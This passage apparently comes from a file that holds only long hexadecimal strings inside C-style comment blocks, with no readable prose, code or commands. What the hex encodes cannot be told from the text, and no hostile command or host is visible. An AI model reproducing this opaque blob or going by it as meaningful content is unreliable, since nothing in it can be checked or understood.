be26dbea4d8239c837edfcf241c563dcde0954941ead6e0f9a2c009c8eae93b87b77e353ef1e2d26f2b358cb4e961a90c19430bbda8e692c867e5791bd662652729fc2a6a81e8b6a35c2cf81b07670f5457371b784ffb9770ae9333c2bce47485ee93527f439a2e39e5ca3c86b6109799ade2458cb6682b4e32d9e815776d8c7455e3f1f2005ecc17ef7eb062768d266e0e0072d5548f75f8af43c55aeeba3f3097f20429491618d82d8410923e7ba025c68610b216dbfa70f351c19297367333a513854cd8f4debe3fd840a34b3da3a78f52fb81c7c722ebaa25c570d5f1050fd5d2bf4d643aa3973378635bc9de0602193a3b84bf7f21846c9e76cb61904e9cce40c4913703c8c9e0775bc1ec94c65f7a2663bf63bf639170fa949c8185649fcb2a2cd0c95324633feb0eacb00e176ffa518122e16bbca4737f3312702c06616e01624bb7749fdb5bb33f2996c05f0b80efa043026f7c318f1d728fe8bc5de71a0e1675fa21b66a71cbab6e1fbfda2e5518bf31cd1289c29a2c4dce80ad6f6f536de046d193dbdad5c9322e1e839f28c0e4557a7e8de0c7de0a47e843d9e40ea51a657ed43ec1e4b4e062447d6cad164b908d38e49310395687123529d83657249aae23d38c2751b9add35851dc1db95e082bf3794279f6d80c10f5c3d2a6f9c96956aadf247da9246620ce9c6486542016cf41bc7a84188ad6e6260397a05ddb0a78f729fcd6d12efe4100c24e16ad9852ac3413da8986bd6e7b0914be21503097c1008b5dd7b6a9ec599168b1c9af1b9db245429d83c451326c207a47d8c66f0cc6f8b5cba6afb061279101bea38f50353738b43626d1ba9a01ba6c531d430c075e184a91769a10fda3fc779efd40a4b828b5c91122341a43e6dbf1b3fcadfb8298c98391e5b924ab3cf92b6fbffdd5f825625ff4936c01fd9506044420d7e365aab51f806660aceaa99890b23c2186a1dae8396eeb49957ca2dcc289e1186cf29215f51e61620bc3d99c897d841630558563b51e5ecde917012387abcb614992b7831d5b19bc75341431afbba170cdadaa0b974d1779929cace83ce7d0c5d1097b65f3693975b0f7c9900a1171b25c164409fa6990453a0722b7373c95fdc72cf287e61d09a712979d430b0305db74821d180976e0de380675350770d3611016e97253242b768336c975366ecea63bbdf9c20b7a3e0db8c7bf0cbe8a6a91d9cd6911e48ab24d784d401270dc6b6fa4ee850c10babdf32a07c1888bacc7d17f4ee829b3b3cd2559c6b4c11fa227e72fd90292593804a03cc2ebb2fbbe405b73d7aa69eb16169370f82b31a5*/
/*4501e5a0ed1c31da03a132a75204064e48c6762792435df2f1c4639748864675fde9f4e6d71628778df06b36a9919613782e2c580496c9031f810d8735383b556e912e308e09e234d1f798527f2ac2764987384565c62581a1202279fd67e52cdee498fa197c847c128357b200bdea26cbf11fe2c126639de2f3c61ca17bbdcc93baa93f2534c1ecd80ca9db6e4dad1159e1ae81aebdb14469e9e9fb6404bc05a63396f56e8db555f3d755c322a7734275d713febf2f940d9d434ed01e23a88d8de5c6097b03a7797ede01652aa60ed43e7d5c05fe20c8edc0aa2542299893a9d574055f894ef295bc3c65b90af36336d4a440201ad6dc4054c8579b289d388a1e480677692fa8aa88638df6deed991ced6eee67017ce7419651d1997e57bdc68e11664106d4ea58a9a6461330224ff97ec69d31e32dd8a900f884e374c084e447b3df0bf1b1b1c6b016fa1334027c4848238d4183dc9c7eabdc8c020252e38df6ea16ffb4aa150b165d027d6a1b0e186270b9e6d7e8bf6d36b4d88f581f3a28e1162b4031114c3653ca5bf2590cf5124e64e43ba6b1a58714edd6de6e44ed73d01b0f23f887225f4e3d49fa6fb6e5c9ce21b8dc2a7213f7e3d755ac6573fc092fcc8fed4c77f4e9a34962e1609cf55e7448dc12e9f37aeb5e903437d7bcd4ca3716658e3f2ed130d3275be8c8cae0e7c168572a756919c9661e96f67201b2367a03ff52d4bf419c3cf333cf4139bf4f5df19b7b81376a13fb339197b907b45068478ff9b01e57f85fc61f8b3613889e6d854f85d60981da0d09d4b74e5f8056a252fdea4b8c7e5252648b25efbe33aab5d727d0a9040aea80ae0cd61a17fae19d304e1af6aeff8a202c5ac249d5c86fae06d44bdf99bce61387c86fb787e8b8bd9440402d5785f241e10dc5dbdf08c4352f7488591b7ce86fee2c103b15e07ee2cc69c48bffa0a6b95dbb9170af99774858d69fa0c2b7058941db58c0deccd488e73e6d002fefc3a80f3f2072e899e857057ce9452c902d166abcd966ece1a14dccc3bd019e230c0543f6464a66c18c49418a906fd52c823e1eeb0bc2e06132a0b0a391604d1c752b08783eb9b5ca4deb1b26da441446205c0af3bacf8e6a92019d7546ff0bf5c8a5f149b7cbd2208518e1bf81604cdafcadb608c97ce6c6b4478880b61942f592dbb2aac2411b3a1fd62e9dc7594b9511997e9b166e8b3019347e37f8287d171c82c6a02489df0a2fc3a4a83275e5166e82d1b2c5f7cffa5d611036426333d646cc48da8b880a16bb32f434fe767a74652467f6e5c88fbc7b8f4692cd1297f36803c89cbdc513e1400c6b0ccf959a2db70a1b8c882b9397083ca7f83c80104033ad12ebee9c9568caa656b27d1794e0c1ae5a6898acee0faf63c2e18087e12be3b0093f18fe73919c2a45c429b64af66465d4239e1a6ec8c89676160d22cf3dd0e77085eb54d2c988268a93752fe3df94d83d3546ad7a8eb2b16494d4ffef17a077d990db5aa083cc9b4a229d5d6633af1c8ee0a84208238bd034b9ac162bec64c9bf73b8fb9deb9f061215ff6a718c81787ac1d81ff38072a60c588ee3bef3097c3e5b959df830dc344f27dda0fe44945a0a0e5ecbfa8fcddf638fc45e59fbf7094422537466fc217f1a24dc12ca27d8da4ecc3c112a07cfb699a996c653601024ae1627582ff62a1becad92427b19e3e8990b5f01c6fcee0f27dccd8697bd0e4802803806de9f586de1d2f33275e9e0982f277d14de0c9284b8c31a107b798fb728f7bd34e2b4a518c689aaf391f966d3eeb8f0422340c990e8002fb28a8f0e67440fbaddf615cf00c345ecf40dc11ec063e4caa4fa46d491e80c5d4270ca5f7db0e5532a261f2e77736e1d5a9a41fc98b952310c4c8ab6632f6d07d99e834b75812dd44baff7ed215f6b6c3de3157795ae1b39acb0c0dfc90851a9e7d3874f0b096187ec1baf936fefb44c360c16a65ed81cb771a197eb56346998caae06745f3867d21ba36ae7a25583b5975349850c922316725efcb8e8ce241b29ea78ba05aaad3f997fa247c402ba3b934ec21582b01aeb1bf412d65bacb3b873a9890c91ee8a61c382ed197e9062110ac232d84cca06e0b2a3db83d83b62ace6ecd80a1d4574d7f4c6352a14e276839e1cd1ab3f6ba068b34eb9bf974002e93cab0a0a3565988465a2257a78f051e4f66488bc80717f4c49568574e74b50ab16946cf1a7356581fab7714405fb5ff7a9e93218c13eb56119dfffb01d073ac916fba7ff37f5d552b7c2787655841dff9ade70c6added05d3e4bfcf45b70987b427f9408f0438540addc88f98f0352c71b94c10159896db346239d9d3a8afd16716a878624d64b757c7d22815c53323ced42c1962f303c81ef66e904d1a46175211794fee2844b5f5aa7f9af64938124fbab9c45e7faf19107512a8e8d4e6859fa66cf99694c3594da4b3017b3bbb0c0cbbf524a865d5b6cc9d008d094ce566a089f78f116b2855b4fa56ec9957a71a28a0bb75c863c2907d874786f1d23967d75d407068bf3bcf1d058b01be8261fd1a3c1015fc36a75cb97b7ba036be7d8ba4e083115418acd5d6747e1c9ece443b5d95a3217694de5bd468d7494d0dc253c7c7cfb3957a3d68a7947d2ef9537dbebd4cf6a3166138a90ba582792c61d32598a23dd991dfeea90689a8353b53310d407bb400232fe8ce315734151feeceb62e676420d23ec764e6dfdd8325dd2914db7390419c6683c70b37eb2e6ce855d53c74361e0f86c19bb831c8329d6240b72f27fe1c8cba705291d07450b90f35810a5881792b6dacabfd40ad715*/
/*eaf36b3c21096e13025475a3d4293edfcd67e16886395be6e09d3b6f81cbe19c08eec0f64b67540333c9b254aa420e0fe6b2791274107693e280dd3074a929524260a806fc9e5dc7f66c21857aeb53a52874a25676e540169e682691bd51c7b97f410dbddffd1747aa664e976014fd6963e9665299bc440b76ace6aa78af35097f6cc9b9f4db92168886ce7737766648cf0758e1d7f4d1affe6fdcde0d454ec645a8ef288b45592136ed02b7600a8b2c02fc232a2de266137ea3273b41736976254cf5eef2dd4380924492207134cfafb5348f7d9818a109b6ba801f38970faa0573a7fc7c43930bd5604e1bfa561983eb298a37326a1e5959bc7399b7e59640204ce44e3db49bb551adf14dbeb64a69a9aad92775917075e71dc4de70181b5719ab37572e35cc33eeaa9de1356184e14cec0ceaf4e32fdb1e907876087d877bc942bd3aa48dc31bcca3f048184ed85990a477f56fcdf38833b738564b8560d8f4d6a3296cb7515e42a3fba30e2fd03f457c01e5e9090c3a793d52358b469983e3f84b618d2513536da263067843fef497cb82ab5cd658573baf8d916c597618c505fd210aad3bab488b542fdc10ad900b93cc37a2ef5cc7b53d4df9b7ff47d544ad116443bb81c5d4f9e706945030cc84d62efa516213bc0a47668c33fd0c8506633a199099d2974bba205089be343313094557f7c485f4f36e412d39e90ce05329341b84376513324140e64f42a67cbba3dfbbaee7aa38dacf1c03dbc37b87c7f5bb9ce3f498b210b80ee47ef98437e5b017183f0dbd78560c004d2a53679af191e6eed5fbc27cb9954b7b44b3719397e487b073e3b9143232b4ff5726f489c40cb8b57d2e487320de148ea1a54a015bbdf70078894e8da595191ed7cff622dbd4b1257714db7d39dd4ea523351cecb8ae60081ef117d8349c3ec51c29f4156d10b9dd2fe2f2eb74c6c6c3516681d4dc4a06f8fb39f208fccf1572487395b78e70c58454e7c2927f488501f329179e91e38687759bc4cc1d87bca6eb8657467fc32d6c49cf70e08ad01ab7fc53a8cb98ad66d79636434a74c00b5944dea64575f7705aca649d5a35340e07294b9c0a4f1bbeca36b775cffed6c9dd4218d2e910d8692a6c4c626c270e35bfd31753d39d9491affb8716a1b63089514cf8b713230d9bf8f2afbc7de58d6af333a6ebfff95f9695575e76509161bbcff5de5c9fa540d0df31751ae0c892cb638aecb8d55018e68f17e94adaf553e5f66e4223c5b358064ae36bdc52ff653c702843bc40bb0348936108f76e387940576240f57a723acf88b6e1d6dfd5ac7ce2537244a2131269f4cdc0f6d947fbe9147cde7ab507035b8ec04931124eb1e8aff4f6ff907c67a6e66a67e8f70d450600bf4e4517e03224a1db308342de18c1f13f78f3d8848a4360aedcac16274f31f68babea4d03646bba07a7bf608d9d6ab35baf47e5bd0385cdad8bc67e0c77d047fe8036904e551ab1b8a0a38e83f7fee5ef0b0776cab2c33ae5cc559106b6967cc01b0f1e4b7f407be8690bfd9c47ed9af2a11e621b866351fd83307bdc41f03e449f49f71c10f8344446f7f61532f6a6a019a03c2bebe20dda83991ec78fadc2e0cd7ff77d0a7232a39f36819eca225bbfa138fd5d0e4bdf4e54996e3168bf59f2d7733469258286b783ebc869122485b4aab1e6e6d2d6390b75e09c84bf38ee9970a05c25ad9a0f4d39b6a0dace3445551009b4c35179e123b4d86322ccde27d1b1dbf24eaa8083da8261c7a3d3bf1c67286bf365d0beb918811f501ef2926632ed0b76351e5838d2c32886b8ceaed95bc324f7dd160022552e486b6825047da730257a8aee92f2735f702d9dceca49761cfcd28148e3d335751bfce42169d44a0302abd0eb7e08ae29132bac123a04af2568c6e5ed10f92abd7709ecb311af156a9acdf0db66f92d4b5970d448c5df56a2423aa5274df07322745a62ca324e806a55f28e5d714775e44ce9e7bed2534eec69b1a9a9bf9e7d39aea54d0ac87705a4271a6ff2ff7bc6b4b9b4ea0f929805ca899c4b4c2e633775550ef21970ac0dbdcc3fe584105fdb3ccaa57e903228561e82768ec0ee74ea1161eb387ed9a1ccc891863bce68c16e4a20e8a4305fc6eacb9a0c8e8861496ef0f18f1638e7b417bfda03ff1f8d1f0a586c2d2df302fa1cbbdbec0ce867eb833221787496e83514c2eac1ff770796550355ee10fb3a18eadb44c45fca00ea26d73131b4c98ca291972fd3df660b65d44c9071d22be5212cbf1c9dcf8d158c4f3c0274a20a76158a049e8ec0dfa108f407c1a199d32d45504796fc4861dd15079a3547b0d8aa593f6e556e9027e7c83353f1ad309b0c0e0f0754975854cce32371ee5edd1237163b792825cb0ed2fb8e8ce377bd00ad9f18c75c7592f19f0ee3c50e661e23c557d87152892d966d73c9537ec16d24608dd52cdadc33f1679f51cd40e0ec204dd1fd2cb74b9d6133bd9f17e01300a959cb0d77cfdaf7feaa0888a04fc4f9584b00d338500a59d45a370933ba09f56c06d3fdc744e386071a8d177fec0f86c37a0763f21e318526e17869d3adfb19cdd8741d15748791e2b8cafac2b4adde2cdf6c319c547bd999801ce90218668bdf7ef777a4e8c3939ea2201e1407c014ab4fc93eb0632c5ab50ad6dcf5044312fad37f1e830a033c95af7accd763ddf5c3f9fcf3f9be3742a9ba11505fcd7e3b878707ec647fb0ec5c370c2aafb7df0e3937cfda5a5658856a12a3846141aeb1cbeb7ad67b2879349ceb7ab9b07903bc06f47e8f8f79bfeca66ce2e05befa6d2e69c1e4dffc91d*/
/*8bea0ff3ca230b2c4193ed49edadf392a8fd5bd7c0705463ff342b4a62dccefd814745355d1979c3ebb4a36bf263429282da1dbc2e9212c22074ba8cd2fbc4f4dce3503f5f4f76fadd70a1a1900bb3e73c5e0038d6d4b440a388f2bb069b1f597d73b92cde9e8752afe76219757a2cac210ed742d78f1adc995fb5b36971733eba7543804d27f8e5e629e99be5044d44a1771f346bd8a0719d65633fbd663acf03ab4c2add5ccd010592a39f955eb13575d10d408efb0a94359e9ab0d92ddd0e1517d0faecc5f9f08be018e75abcfb58ffb17584319590fda9287ccc2cdd65a9ebd6b2c4ddfa32e9086e13a585c699f9b47992be70fad4486a65a12cf1c45584873b0cca69e344c5b19204dfbc29ff7047866be895bc9ad75207e4e2ffe10086c78655540ffe73ba69ecf3c25883a66cdc3c5afa34b38bb1647305193af62363f6f5eeffd7cce9b09fc02de3401fbb549cee725c59d843f109efc4c33a92fd2dd2d302002f7d28b20d2636b52416d275294a89dc0ce6b3c5db6a377853c1872de002365e8c785fa003e6424098363c4fb5d0a102029d8d76a539ffc4f98444f24ee38ec73848860dff9f63d76a444e97a02c67bfaa6c30446290b38ae369f0d0570b7a7846fdce55d4321dc800cfe5e07ee2fff94bbd0b22cdf44fa5c87fac7f6ec323c4a15b24004cadf6a8afaced967d61a56e96945379d207e4706b5a62ad088bca49e6cdf749b855b32c7b95464c68dfe0b236e66bc656ba110221499d11bb8414823b184874106cbc1a546c3a0fa25bec16ff91e0854877f6e832c367fdd58597ea668253a9c67857d799ce123efc6dc1ed065c44f64543d0e055c9ab0446a37d0dca1434fa95862ae4508ab00b8c0330ec79e91905b6344e1eabb35a12dbb04ec3aff81ba31040e5a3f89ce5c69bae578367717a3d8b59d063cff050bba6de35616635078047f4270c726c667939897d6b49ac358fe57dc86a39acc99643690a11815f66b0ee48753119b2a43dd100a215b2c1eb57f25fda947cf752302bff32aa9fe13cfe99506653183117cbc9cdb64ae7aee18b780e0a436cb45df7977ee8bb9ff39458494b2ddf3a935e30b24ff3a1dd45de2867e48f00f7e303259841e99e87c07fc451d27a37c06a04fc3396433369fa472a4c50ef0ec1eb6c23a27ee9eed88234a492ee593c477656a3e9784d3184ba48baf1826d8845d219e10600dcdbc7c3fe4d9511f7dfea3c26a64152c09984d2daeb2c6e5ee7af7f25141349d8f63a3cc0f7768c50673bd702310a7785bcb510f922040e4678ca30998690bd21c5b683a1de1598b851ee55647adefac96e3e19c4373c0359bb6bf08e3c078c863fa37b0f7074cc07b864563738f9c3fe3a53d4347e064f3febe1911817db0d442f172dd228a7d280e6b0a0ec44087154c54bee2bdf719a7347865c7792e0c0c1eae04254121ab61719c23142331a127b40c1691f59543f32b0e62fbefdbae8a0e2b3b92f5a575d6a32454d98f03115d4acf2a8c8e72bd27ce908263f937ed6dc0628d192aa6feff5694cd990e377416ddba9a788ea6db161f624a835e12bdbbe50f1f076138d5ba5e540569b44aec34e62e73e78d042672a3c6174dc582ac1f948d6cb85d33ab0fad7447580648838992ec79f9f45ea90e2580a9db1c5773212f17c81238f91378040e25874fb88f00e0f889ed56503ecba66f3a27b6db521e8f73d0fed75309ff14c711b0b43b31e7ebb8e7efb95117f7ebdf1dde462e0f55d78c29fb1c427cb783f299b8087f956d4269d60740e5dc2b4bd8b567690d183b67b6881fa28c51e1ad544aea751b5af874376f1dda8396f4565acb8b8f7d3ee261bbc109b51d48f2c9e4f0e69a913242d17701faf7cb3174c5c84979710fb549a938c7d3122e1c96d2417eb5342a2aa69caa52ee0891c833a3bbabf3a8c518efb1d94289f137bc6b19c8e717c04f635300b70560d0e8859aaa2f76790489085b2dd9dfcf89912f5378bdc478f898379eadaebc7cdfa6fcd6b8e94fd88ac3f9980b27b099caf288751320007da025fa3d7a22016d43352aeeebe71d5fd118a4ecc1231092cfbbb37dbb1854a8a02552d169ddc47a07b36c23bcbd01a5b80cb43b758ccb3f6015eca01acc85fdc76782482e9b68d0b58e86802d73352155377f569991eb994cd6c01893c8ffe9c99b9eaba9cd612a46e96b96c5806f46956a38ef89522d634ae6cf73b66a4e13949c2107dae85d98679fbb8892b94b2f85745e8fa7bace3402176470b826c9547be8ffdc9c0349c686cb7c6a57c1fb0c8001aaaa2ffe94820ab9b5022376136785cc37e9600972cc395ebb237c6daf51d7265a8fc07e0d82f523d3a680a1a1f42bf6372cf84a852021442fc084c1e86dea1ed356e6b29737797be7ca3a9729014da674e377f751d8d9798495a01121b3b367c591666bc5379377affb2916f1b4270727c06e6f2bb8edd1f72092f6e16aee61f5a55655b171e5029e660efe8dd17d58b1cf1596e2036e2f229a801203ce1f978dad29a1ec05bfe56f34232dd2d9e402e0cd604ecba249ff22d04f012e535b9ffdaa7b95c10334bacc1867dbc4f9e05a88b6adb322b18b66d76b5258bc5669a8ad330268704cdf5fd9c5f343952ac502dcf270083a6508e4e60c6bfa7d0e94c42127f3182a163bfb31d1a57558a6ccf11d9710ca6e07e038eb16aca791e18797079fa55737e21159afca614f650e69f251212f16e6059ce683ca4225562e620e6e264b05753e4e6ea7fc638308bccfcf6b71ddc472d1db2a9ce07065d405bc23846c67790b6d67c09c387367125d1b1*/
/*7e691002fd5e0ddef15b061d47dfd002fc9e91105eb83d5748a73226450fa82c6db76cb126de0bd99d340aaabde8892870fa6b28ce81430ae62ff9877ed55b8ce1697b7bfcc59b885f0e66ba3bd2e908f96a8d4c0d65cc5847a7e59ffc6d185b33f6ded07655c8f8daee3b7c80754e95924dec228b0963d039b651984e7b6dee3c5b23399684e59e6f47307873e852d51f03b5899118121f51e70450602901009bc1c35382bf894eb920970cb8b91516c0801798c59b039bee2783d63e200a990a805e50ec9f8180800d9a8241fc670edbbaac06b73de2ccd9d67d9b09786304fd1782f626724257f9d191b18d7abc12f971f0d18377324c73c793e4bbfcbeec696abb68c4fa14ceca0d74eac9da94e22fa9f289a59b31ca980a2173fa476e79c497ccf383790a5fe019fd81d017165704685113536e59b17abab41213cd4cc1f5f9d5e9d5408007d2923e7a397cb7c59928455f786f80c6d61c8dbb3db7550791394bc64b6e007e3b64dddb00e12bd66cd5057406fa2fd9518f2b29dcc704eba74939b36b366fa354eeb7ce1d12dc48a8a643af3006707ab7d7eb107747238183863c4fad479876a44ed3fa15f3ff6fbbdab3efcb650a254259ee6b3088e346f5a891ad5a5d3ade482eaa6ffa83c4d521716a7d8d41751a4d189ca4e13628ed6173a7a4a43b9df946bb0e64abfbd17729a8c04e392539ee7abbe047d71bd745aca877fa79d72c6b5492f08defc2ae79d400f5ef9a86072376a347f153c89da8570d37747078eb0e3ca7048b7ece4794a00358c29d2c8f79099f902d72c6f0f5f4bd5a96d6d4498cef470b85b02b8915be74d24768b7ded34197988b5ae2132dab7f37482589cad18d4193cc49bb0ae2cc7156ef483195ea5629aa251640fe232c415c2034e58df522599f2bbf40054f022bcbca7cdda0f4ebdb8525581826b41cf709bdca9af7cf6c1c52fbec33de545482e554b1e0a47634f30e20b38906fc452616ed60e261e5463eea0cf53b7030beb46ed47e828a73bdfdd94985d6877f2284a1c3e7370281fb8b0d7ccb389937628dabbce2657b389c969e2037387f3de91e6eb563dbb1fa7346234b8cc3985511841efa6a637f30ac4224489207ae701e81df70213e5576d2357dcf1fca9f64feb139a247e6f34c69f4985a340b878d2ecd3d93055e217416fc896f44afff1d7355b4c43675b088b79e152aa451a7369cf81b48e6a923f621a6a5c50c12825e48c3a3ce6f6cccb7917a32463e6e59596f37c525ee5a1e915fbd8c260265825204491be3ef9c017ff56527436a08ee6370e8fadc24e8e1c64b081434a809c850451010d7c59bd73eba40ee8c60f065f4c1ca5e5bd8b4643aaab9fed2109b33de483f8c3aca5191414f9490dc07c656aa32e8d5a0f328c25df701589c3cd9d54552a8d51806ae0cf2251d98c75edd62c6a1aa21dfc0c3bacfd952906af01903f2f90bfbc924b966fda95f74d27c9545e0c4aa83283ff3bd9c7c2328da4eaeb81931a19949b105d33b70144143fa08ca3b454d8f1f596245b3ae6492b47c94e8e2776f547e482de5809483c7bf40f68fb36116ad96a5d42ce2254fae09ccb1f75bc508c13de991f244a963df1b1c0d91e49f55d1078ea536796d8000032308b0e483f0311890eb4df0c955f943b3dd4b8acd34bb773af0aad6a8165efd8e43491313ea4b80265306ea26b7bb3dc35a7a723162a6ec5d58c85c753101ffe3b668a409a8490d4a8ae8cf4134da67d1124cf889bd37b9a41aa304133763285cb62ee5fc1486801147d2fd58b19c515c972cfc89f731a3920dc5b6913471eb72ae9445e04e8c05c442257115ad64829c5194d5f0377db68eef2ef0cb1ff0809cdb40275364aa43cb2f360e9e8f0e1efb5d74be268530415262793c047c48c9b1611cd667789a78cbe512aaaf38b8c287a3bf9dca80ac8751ac30506c00a9fd7e40b73cc07ecb0dc30cd2b619dbf013275532fb0947b92ab7fd8030d96508282681cb5d726644985b0661fe264365fc7f996594c485e3f006a1b264fd6519b7d7dd0dad79caa693f424253e81aa3de081016140467cd7a98503dfff9ee256e7291107a52437d1576a13d83920908ca8c1c347b777a5a7cf916ca028bb9d2faa6ca469a14d7d3ad5071869035442af349028bc3e3222c92c007b055744bbd6acd19244c79991b9f4f1466e0ccda445936628e00adcdbe53b5beb5af803d93ca51551479dc8726a0e4b72c832a086d8422440fd31e25ec7f32a29f10bdd2945037c904e790dd433dd15294fdf7f5e5cc4dae8b64e72981fbe79ae796dd654d9acd440532380bc55ac246e51c0c07633bff73fac95d0a482df40dfa51826179d6fee3008ee48e7bbc76eaae6f1adce35857f60677c8d8f776dd0846fb61e0700ba39c1c34a9f1543880de08ee1493e8269a757f6308fc67fd805e2508d807ce042f49f18ea2f0162c6c25ae60cdb55951b936b9160d7786172f7ebd2d5beeb7684abc95da4b58515011e15a7ea2c9a5fdf74160c6b62e79a1d0b24d4fa52d40b3d96c864fd3faadbf64e7bb17b757aefe73d1aa76d19cd2184768805d5d51f41fd8ca22bf426d85ae34875ddbb25f5d75b407b43d32aa08ec62541447ad13066afff3ae99d94052a15b3c65cf7818182bf19bab4a3079476a1c8d9b2629341386ac513a94d1d7f00c6058a81f01cfbbd83dce86150658817c6650d5e58004587169474a2b80a370a3d59e6bbce721bad18a6d0220333a40b81795094d8a02e65843cf89f884b59232c904451e9254fbebd0773e95f35340d7b5d420dce4c77953ad4668b99*/
/*477475371a279361671efe979439da71328a0c8c58ab35dcc4079e7d70135d188fbc461ee2b776a956a76660129580a517749c2f4b287a2e095e1acc50178ede89c5f9ac8242589cddecd230ff1261ec2c6c9e2fe24133f9273bfc57d15b515798e80777234e10f0403faea3d58b6c2697b0ce8d2903c6a5c6c624db4dcbc8b7fc1ef8fdd4e83b0c7ad0c932c4c65e47808622cf2e20942c99c675435055c35166bc8a372c7624b781c1cb75ef496a796187d8d448d682f2b96b941e0076e6df1e371df6f941ea706c4e0ac5bb877ea6d8eee03ab88dc5901785661b49c66f2cdfea7a392b31cf3a8fc20b797b0efdf816aff55840bdec6991a771aabb91e96a5503cf4b665a3a0dfc4854803dda8c7d2f83befc99c858c1b88235ea9b411fe7891281c80b34a506051b287dd1e910492ed31291414e9ba50f916c8e5ac32ece15e2c678175437b9d0c830e29d0cff8dbfe78ce1bf2e16672aa399af13bd5b92eb42b149c9ee6183ce50f4ee3fd28b9c5656fa3f1d274a788c1d4c3ce602abbd8fd68140def6695106d77e6ea394bc2d303a9f771b61e732ec9f683851cf9ff080eba7bbca39c4acb8500fdab88f1b89d27ae8d3a3284fac84d0c2790137ce38768f5c8707af25a81ef18648bd65acd51153068d366ff94624921889cb168eb9016bb4d924f279a21b58bca653dfd198ebe6c3371275240aa694263e6243fe3cedbc53a917d6a7db273c56dc3ee1e5f0478f5680d00e388706b378152d4014be8241b1061b8747ded67f81cb503184a5fe4dc3f4fa7c5e3a12ef3ae61022c08b4cfdf4f846956d6a409b5e864c8bf41ad766e2273c2492f24be19ce2e59ea2be70229e0d94b38d85456f193f650271dc1a6c175c92d17bbeeb840ad3e596f2148b0dd3d84c0ef30935dea4b714444b531374e782bbf2ac1528b9068e8f5deecaa1b68f638b8f605812bf43c7f7b4bddaec9e6201ac163d8767eb83d02a321b60d7bd633dde62ed10b3540a5e8a26ef92e1cdea6a77b5274d9c26c58e1299e24c3f3a17481998275dececccc7b059aba38745aab5f26427b3808dc928b42ed0fd501af59a43182ed705f0d9f6e0e1c90469eb35fb473edf7d878bed7b125873ff770a436e4b6bbd7e8c5f2f665df27c8138f8fdc28d180ab7449ac582b782c9a4fed033b46c7f277e9a631dc7ef3615d90e2211ae77f657bafdba918d5aebc3bf22cc5b6cc58fdb81ab7419d5956cdf50173f9d0c136f4c33e907e9586199e80b06ade64d31722df2e372e34c60fcc056eadd5ccbbf77bfc48180640b03dce2b71e8a6c1c84fad86a9f3e13e19b10aae935a9456aed6eae90b8f6619eb8c7c8e9d619106696ef15666b1226237da9bf5f8577b55fbe3771f146700662d47de01d2afe4309f23470ad0cd7cd04c09ac9a9035b0de71dff7d80ae7e1c735e5177df7defcc2e1524b923257cd759566aa59a829b4653b94600ea4860760b0256bac4e82cdf4dd9615193cd73fc029f30f1e5ed264bc1cef52902cdd3ed7515bd80e554e220c82b0fbd1685551f7d33e88ccc974ec70caf6079773454407aee10e7fed1152f872a6643b8b66261379b51a6ea3cb0ba416c2b09ca8ac4156590a9c2652b99c0eda8ae25de6a58f744e8daf872d1361dcc8c0fec477723aa726a3dbc27a3393d8955636c7c92fb3263288799ab4b3252c36a7912a2d304b1543876cd7d85cbdb916ece9d639a0f22a2114ae9084d8f7c73098f840bb725d849ed8e59bca6dd2622b2e212aeb76bcce33e1ceaef0b4269eeaa804ea58875e663d5ce57032a02ffcf4001f50f67bdadcbe785bd675c7dd2e3c9a167056489756b9d63b0d817d4403b4b70d32a6be40ad7baecfd0108d819c968b1576c37ec634a6ee0cd70acdf49fdda7b8c2aafe1839fb77b18d317aa0df37df34bc71345c2c5419b17f8dc29e3a32b8485581d158b2b729e930735199e6f863f032999cce9fcbbd50690eb0835534399b2ea8a19546239d403b739ec84d41a633051ca9372259f30ae69ce9f2782369dbc1b6e77554a21b01d987df6c44ce17187c3ed00b029bd04bd7ec20fd74c24cfa3ffa66c12ab8821950fd8d9bc9404b6e618f025010d2e5ae71cc3ca639f2219c319b0bcf5edbafa6f056ce316e767bc73475318a46fedcc1499d6442f67ffe8eea4196b4fe7766af776233a4b90db2c1f703f7cdfda5e5f72d58c75a27e15a64877f87bdb1a2369c70866d761224a492fcb9692f82d6fef329d5e26371d2354a188926d11e9f875da0c6d2598804b136cab84d8dc656230723e3c138fb60bfbe6a203637c80f2790495524fb4fae5086e738d5a36f110eb378879dc6d20d912eb43892f5755db11bec53c355b6f163ff6d3287622efafe1b017658b701fb6c5ffd12f8d401555b834ea6b6b9ae4a329fdd7821fda4a0d1f02cfc96661af7bce94c24c0f3f1a942f1014defad64173108a13a3c13d4a6d386e3efe1534088deca439f8286dfa254de2dc51d4016dd42ceea98a84688baefa7fc9ac334cfce6ff57e9a0eac7056e07d8a08c0ff03c2bc9210b50927eefb13cf9b91bc46c001161934ee37a596bbd0c6ece53a28ae5e63a2f8766a2a8abdb439193ad98a6f461777fb2da30f00f560f9a1dc5615cfbfe3b2510b5e4ecd792d52c505df81e91e864a7347fe8961126a8d49657b03b3226b8e96da70679eaf46903b8160bc0ce72483a6e9dc0faa61a617465188eb9d648d4634573552f8e8225a9411576784f10bc83a9e3caba82f7a7fd2af715fa1cade26ab476baf0c4011ce7687c15f75f96c7216515e2af668b1d25d5*/
/*4ebb949a1ac97a267a04de3b698ed92508b22d9fa0932bb8c4ce3b17592727d48e0c9f4e5d648a294c29a979299ce9361925242febc5de18ca184c74c893a1b899166db2046460dad623643b124894e292a095767ed332e2403cad5c494e070e19e744c358677a365ea51e91fb1a838d376fe046f1120b0dc2bb7874372c1d6fa2456994a46853772f66a65c178896ca04815e7c406d2cfdd9af8aff8ca045ece2d52194a9bd065e1db5b763824adc6feb9761d035d92e7b2dcd7ed5767f0788b0629526bb3231b7b2bf931977f65f3cede35724ae811ed38adc5c1541814434966e44344460087887829150c4f98d2865016000c8de25cc04c861052cc73b7a40133bba088142588d7a32127fe519884a077409220c21e7fcb0b6e356bd90ef08bd4d1631cd751c0196085189947c1e442d2a7ad2bf0ac32acc11df7edeb80aa2bcd0fd19ded2708bcb91a0ec5669c1c1cc78306b59c181095c03d16dffabe135dfdd9704d3fad5eb37d79b879c1133d0ff1df1fd0f068ef049689195cc499590da640e0aad83ae042f7d67162fb54c3eaf691567ec3fb7663343ad71f45d8ac546702afbb7107269f44066481a6472bb6eb86166da90a013c2dd6d64befcc3d565753b02013e07436a76571913f4e29c0cab0a4924a06578726b3b483aa9673b197766f12f7bcbdb3d709c40428107b6b4a1f412e71de22cfbb1a06bf2d8bf5ac973d0feb49cbaaaf6a86f9dcaa8fe7682193d96b1aa5f14e2e66365de5fcf2c45aeda8325e28033325e9a81c6a0436e15d28bd3f356f00999aadff9201f6c40f4eec807a7802f22e7740cc25cdd9bc6a3447f885b825e0da620ce847e0ccb25d0ba59a49614975b7ee02b4756694ee6668fd88f34ee7d8dfdcabbd6d1faf4ad835a